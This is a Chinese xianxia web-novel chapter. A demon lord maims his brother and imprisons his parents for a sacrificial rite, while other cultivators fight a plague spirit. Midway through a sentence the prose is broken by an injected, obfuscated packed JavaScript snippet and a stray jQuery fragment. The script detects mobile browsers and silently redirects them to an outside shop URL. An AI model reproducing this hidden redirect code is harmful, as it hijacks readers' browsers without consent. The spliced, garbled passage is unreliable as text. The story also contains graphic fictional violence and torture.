荷塘微雨,那些荷花静静地飘在梦里,他的脑子里出现了尹在玥的影子,她的手和荷生的手紧紧的扣在一起,扣在一起的还有双方跳动的心脏,咕咕作响,那种感觉像是水烧开的感觉,两个人在水里就好像在火里一样,那股酥麻感从心脏一直传到四肢百骸。
楚穹言抓着亭柱子的指尖慢慢红到白,柱子被他的手凿空,气的心脏疼,再抬头望着远处的荷花。
“廉贞,把这些花全给我烧了。”
“什么?”
楚穹言没等他动手,他抽出腰间的剑挥了出去,一下砍下了十几朵荷花,落在水上。
廉贞目瞪口呆,反应不过来。
他恨到极点,甚至下到池塘里,继续砍。
廉贞立马上前拦住他,“主上,你身体还没好,您歇着,我现在就把全烧完。”
楚穹言嘴角有些苍白,用剑支在池塘边,眼里却像藏着什么幽火。
“把这个池塘给我烧干。”
他心里默默腹诽,这这要烧到什么时候才是个头。
楚穹言再一睁开双眼,这烧干的荷塘乌漆麻黑,廉贞向上汇报,“这次来,骨妖的朋友,瘟神想来帮忙,他拖住那些不相干的人,接下来不会有人打扰主上要做的事。”
“她的朋友还挺多。”
两人走到楚家大门前,守卫纠结着拦不拦,楚穹言进入庭院,正好楚父,楚母以及楚襄正坐在一起吃饭。
“看来,我来晚了。”
楚襄松了一口气,一脸复杂地看向他,楚父脸色阴沉暴怒,“你这个逆子,枉我在你身上倾注多少心血,你不好好修仙,偏偏自甘堕落去入魔,滚出去,我就当没你这个儿子。”
楚母则想招呼他一起吃,使眼色让楚穹言给楚父道歉。
这幅场景反而逗笑了楚穹言,楚父见此拍案而起,径直走向他。
楚穹言平复一下心情后,无视楚父的怒火,“重新认识一下,新任的魔尊,这次来是让请你们离开殷州,这里将归魔族的领地。”
“你……逆子……”楚父抚心口,气得旧疾发作。
楚襄上前劝阻他,蹙紧眉头,“大哥知道你肯定是在无量宗的受委屈了,但这可以换个方式出气,何必……”
咔喳一声撕裂,扭曲着嘶了一下掉落,血滴像梅花一样奔溅出来,楚母牙齿上下打颤,咬破舌头,身体下意识往后一缩,捂住眼睛,不敢再看,眼泪顺着指缝往下流。
“你……”楚父像是第一次认识他,不得不正视起楚穹言,脑子里从缝里搜刮一下关于魔尊的传言。
楚穹言拿起茶水随便洗洗手,回头补上一句,指了指楚父和楚母。
“对了,你们俩得留下,楚襄一个人走就行。”地上的楚襄面色如粉,疼得直下冷汗,却不肯吭出一声。
一旁的廉贞俨然看起好戏,心里哂笑摇摇头,楚穹言还是楚穹言,这是任谁也不会改变的。
500年前,他可是有一座白骨殿,就在这殷州之上,全是他的战利品,杀戮对他来说不是工具,而是享受。
500年后也不会有任何改变。
楚穹言说他找到一座塔,以楚父两个作引,是最合适不过,也算是给魔族众人一种安慰——他们的魔尊终于回来了。
魔族没有人族的伦理,以血缘为纽带,被魔族视为耻辱。
凡如魔族,必是六亲无缘。
魔尊为了保证正统地位,必定献祭亲人。
*
伏牛山脉深处,绿影摇曳,一群人被水环圈在中间,本想暴躁挣脱,反而越困越紧。
石头上是一个身穿浅绿色文武袖的女子静坐,手边是一把刀,面色温和。
石头下是沈曦在擦剑,眉宇间有点焦虑上火的迹象,不停往路口看去,嘴里念着,“怎么还不来?”
直到路口冒出三四个人的头,沈曦收起羲和剑,安静下来,惹得石头的女子看了他一眼。
“宋衔好,久等了。”万俟苑热情得冲上来,抱了一个满怀。
沈曦一看不对劲,多了一个抱剑的女子,尹在玥不见了,他朝天上看了一眼,也没有白虎的踪影。
“尹在玥人呢?”
万俟苑松开宋衔好的怀抱,急忙解释介绍道,“她有事留在城里,魏夷是她刚认识的徒弟,是为了铸剑的事。”
“她找到其他武器?”沈曦下意识问出口,摩挲着羲和剑的剑柄。
按理说如果剑主找到更合适的剑,就不能再有其他剑,除非剑碎裂。
尹在玥要是找到剑,他就不用担心羲和剑易主的传言,可为什么他感觉到更加不安,像是蚂蚁在啃食心脏。
“人已经捆住,留给你们解决,我还有自己的事情要做。”宋衔好正和万俟苑交接的话打断他的思路,他急忙上前揪住宋衔好,“不行,你刚才看过,他们已经能够修炼,如果放任下去,楚家失控,殷州必定大乱。”
宋衔好表示她好不容易从无量宗出来,还有河流的事要解决,而且沈曦实力比她强,如果他都控制不了,她也不会做的更好。
沈曦还是坚持要她留下来,“但是这些人灵力不足,我的招数只适合杀敌,困敌还是得你来,小师姐。”
宋衔好原本还想反驳,听到小师姐几个字,人已经飘了起来,心里动摇,最后答应留下来。
就在这时,不远处传来了打斗声,一群人为了争夺灵石,已经见血。
魏夷一剑制止其中强势的一方,“你们还认识这把剑,就是这把剑的主人,治好你们的头疼,让你们可以修炼的。”
他们有人跳出来,“仙门的人最喜欢把功劳拦在自己身上,谁知道是真是假?”
“你们是喝了河水才变好的吧,这把剑在河边运转了很长时间,你们中一定有人记得。”
人群确实有点骚动,魏夷笑了笑接着说,“你们虽然吸收了灵气,还是不会运转,是会肚子痛的,我现在就教你们口诀。”
话音一落,人群中已经有了人坐在地上,其他人也纷纷效仿。
沈曦和宋衔好对视一眼,无奈地叹了口气,“看来仙门已经因为无量宗变得丑不可闻,真是可悲。”
“信任的崩塌不是在一息之间,是长年累月的裂痕汇成一条深不见底的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648104|205027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
深渊。”
“有些东西不是视而不见,听而不闻,就可以当做重新开始的,这他们面前,所有的假话都会变成最严厉的审判。”
等沈曦回头,宋衔好已经跟上去阻止下一场打斗。
在他们看不见的暗处,一缕青烟围绕着那群修炼口诀的人,在印堂上逐渐汇聚,一段时间后,一批人倒了下去。
魏夷一把握住那群人的脉,制止他们,“有瘟气作祟,守好心门。”她气息仔细识别四周,发现踪迹,投掷出一剑。
她与之缠斗。
一旁的万俟苑着急起来,“不行,需请个医师来,不然经脉会出事。”
宋衔好一拍脑袋当机立断,“去灵枢门,找沈老头。”
刚准备去,折回来拽走了沈曦,“那老头脾气古怪,比较喜欢你,你去他应该会来,我就不去了,守门。”
沈曦满脸黑线地上路。
*
天牢内,阴翳斑驳,一座塔的图纸挂在墙上。
十八般刑具陈于案上,楚父变得阴鸷疯魔起来,“你不能这么对我,我是你的父亲。”
楚穹言不疾不徐地收起来,“在我眼里帮我的就是正逆我的就是邪,你当初生我的时候就应该明白任何事物都有两面,你们既然可以生孩子,父债子偿也会有子债父偿,我现在就要用你们来证我在魔界的地位。”
“从小到大你们对我做的事我全都记得,你们是不是很希望我长这么大应该把这些记忆都忘掉?真可惜我全都记得。”
“你曾经教过我,善不及不足以成圣,恶不及不足以灭身,那我现在就告诉你,现在该是你偿还恶债的时候。
楚家万人敬仰的掌舵人,世人眼中的大善人,生出一个邪魔外道,感觉怎么样?
至今日没有人会来救你,你所标榜的所谓的正义,他们都认为你,毫无价值。”
“你要所有什么东西我们都给你,你已经享受到世人都享受不到的富贵,我究竟欠你什么,我对你又做了什么恶呢?生出你这么一个畜生。”
楚父披头散发,
楚穹言继续舒了一口气,“哦,你当然什么都没有做错,唯一做错的就是没有对我斩草除根。
从我选择杀掉那些让我不开心的人开始,你的恶就这么注定了,感受到了无能为力,任人摆布的滋味。
等这一天已经等得太久了。”
“我一生行善,不应该落到这个地步!”
楚父涕泗横流,一副受了天大的痛不可言。
“其实我究竟怎么变成这样,就要问问你了,你的榜样作用,你眼中为了正义可以牺牲一切,那我也是为了我要做的事,我也要牺牲一切。”
楚穹言可怜地看着他,好似心里有万种委屈。
我这么做都是对你的崇拜,对你的模仿,你也不是这样吗?
楚父嘴唇颤抖,精神崩溃,看向楚母,“不,不是这样的,我没有做错。”
“哈哈哈哈哈!”楚穹言笑得肚子疼,眼泪掉出来。
从天牢出去,廉贞严肃地提醒他,“你的三魂六魄不稳,小心一点。”